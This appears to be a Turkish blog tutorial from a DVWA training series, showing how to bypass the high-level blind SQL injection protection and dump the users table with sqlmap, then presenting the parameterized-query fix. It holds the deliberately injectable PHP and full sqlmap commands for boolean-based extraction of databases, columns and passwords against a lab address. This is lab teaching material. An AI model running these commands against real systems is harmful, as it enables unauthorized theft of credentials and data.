DVWA Blind SQL Injection (High Level) | |||||
Merhaba, bu yazıda dvwa web uygulamasında blind sql injection için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir.
Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden
erişebilirsiniz. DVWA Blind SQL Injection High Güvenlik Seviyesinde ÖnlemHigh güvenlik seviyesinde dvwa blind sql injection'a karşı şu önlemi uygulamaktadır:Blind SQL Injection - High Level: <?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?> High'daki sql sorgusuna limit 1 eklenmesi union based sql injection ı engellemek maksatlı bir çabadır. High'daki arayüze çıktı sunan if - else yapısında sorgudan olumsuz yanıt dönüleceği zaman random sleep konulması time based sql injection'ı engelliyor. Fakat high'daki boolean based sql injection'ı sleep kullanımı zorlaştırsa da engellemiyor. Bu güvenlik seviyesi boolean based (diğer adıyla content-based) sql injection saldırısıyla aşılabilir. DVWA Blind SQL Injection High Güvenliği AtlatmaSayfanın high güvenlik seviyesinde çalışma şekli şu şekildedir:![]() ![]() ![]() ![]() Görüldüğü gibi blind sql injection low ve medium seviyelerden farklı olarak veri girişi ayrı bir web sayfada (bir popup'ta) yapılıyor ve girilen girdi ayrıca çerez olarak ekleniyor. Şimdi SQLMap ile otomatize bir şekilde, fakat sayfanın farklı davranışı gereği farklı parametre ve değerlerle güvenliği aşalım ve veritabanından veri sızdıralım. 1. DVWA web uygulamadaki çerezimizi elde edelim. ![]() Dvwa web uygulamada oturum açıkken F12 ile geliştirici araçlarını açmalısınız. Ardından Storage bölümüne ve oradan da Cookies bölümüne geçmelisiniz. Böylece çerezi elde edebilirsiniz. Bunu yapıyoruz, çünkü sqlmap aracının taramalarının dışarda (oturum dışında) kalmasını istemiyoruz. 2. DVWA web uygulamada form'u submit'lediğimizde POST ile gönderdiğimiz parametre ve değerleri alalım. Bunun için burpsuite'ten yararlanabiliriz. ![]() ![]() ![]() ![]() 3. Hedef veritabanı sunucusunda yüklü veritabanlarını blind sql injection saldırısı ile listeleyelim. ( Tek Satır Halinde Birleştirin. Not: PHPSESSID makalede uzun durmasın diye kırpıldı. ) sqlmap --flush-session -u "http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --cookie="id=1;PHPSESSID=evio76;security=high" -p id --technique=B --second-url="http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/" --dbms MySQL --dbs You provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y // Yes denmeli. Çünkü girdiler çerezlere eklendiğinde sqlmap'in sonraki isteklerinde yeni çerez olarak yerini almasını istiyoruz. Kırmızı bölgeleri kendinize göre ayarlamalısınız. İlk kırmızı yere dvwa web sunucunun IP'sini koymalısınız. DVWA web sunucusunun ip'sini linux'ta ifconfig ile öğrenebilirsiniz. İkinci kırmızı yere de önceden elde ettiğiniz çerezi yerleştirmelisiniz. Yukarıdaki kodda yer alan --technique=B ifadesi SQLMap'in Blind tekniğiyle saldırmasını sağlar. Blind tekniği SQLMap'te saldırı yöntemlerinden sadece birisidir. ![]() ![]() NOT 1: --flush-session ikinci kez aynı tarama yapıldığında saved session dan sonuçları döndürme, tekrar baştan tara işini yaptırır. Böylece karakter karakter tespiti tekrardan konsol çıktısında gözlemleyebiliriz NOT 2: --second-url parametresi kullanıldı. Çünkü isteğin yapıldığı sayfa ile yanıtın gözlendiği sayfa farklılar. İstek popup'da yapılıyor. Yanıt blind sqli ana sayfasında görüntüleniyor. Bu nedenle --second-url'e blind sqli ana sayfası eklendi. 4. Hedef veritabanı sunucusunda yüklü veritabanlarından dvwa veritabanının tablolarını blind sql injection saldırısı ile listeleyelim. sqlmap --flush-session -u "http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --cookie="id=1;PHPSESSID=evio76;security=high" -p id --technique=B --second-url="http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/" --dbms MySQL -D dvwa --tables ![]() ![]() 5. Hedef veritabanı sunucusunda yüklü veritabanlarından dvwa veritabanının users tablosunun kolon isimlerini blind sql injection saldırısı ile listeleyelim. sqlmap --flush-session -u "http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --cookie="id=1;PHPSESSID=evio76;security=high" -p id --technique=B --second-url="http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/" --dbms MySQL -D dvwa -T users --columns ![]() ![]() 6. Hedef veritabanı sunucusunda yüklü veritabanlarından dvwa veritabanının users tablosunun user ve password kolonlarındaki verileri blind sql injection saldırısı ile ekrana basalım. sqlmap --flush-session -u "http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --cookie="id=1;PHPSESSID=evio76;security=high" -p id --technique=B --second-url="http://192.168.56.136/dvwa/vulnerabilities/ sqli_blind/" --dbms MySQL -D dvwa -T users -C user,password --dump ![]() ![]() Peki geliştiriciler blind sql injection'a karşı nasıl bir önlem almalıdırlar? Impossible seviye güvenlik önlemine bakalım. <?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?> 13 - 15nci satırlarda önceki güvenlik seviyelerine göre farklı bir syntax mevcuttur. O da parametrik sql sorgu olması. Geliştiriciler önceki güvenlik seviyelerinde olduğu gibi uygulamalarında dinamik sql sorgu kullanmamalıdırlar. Diğer türlü sql enjeksiyonu saldırısı yeme ihtimalleri çok büyüktür. Daima parametrik sorgu kullanmalıdırlar. Şu an için sql enjeksiyonlarının her çeşidine karşın aşılamaz güvenlik önlemi parametrik sorgu kullanmaktan geçer. Yararlanılan Kaynaklar:
|
|||||
![]() |
|||||
|
|||||
Yorumlar |
|||||
Henüz yorum girilmemiştir. | |||||
Yorum Ekle | |||||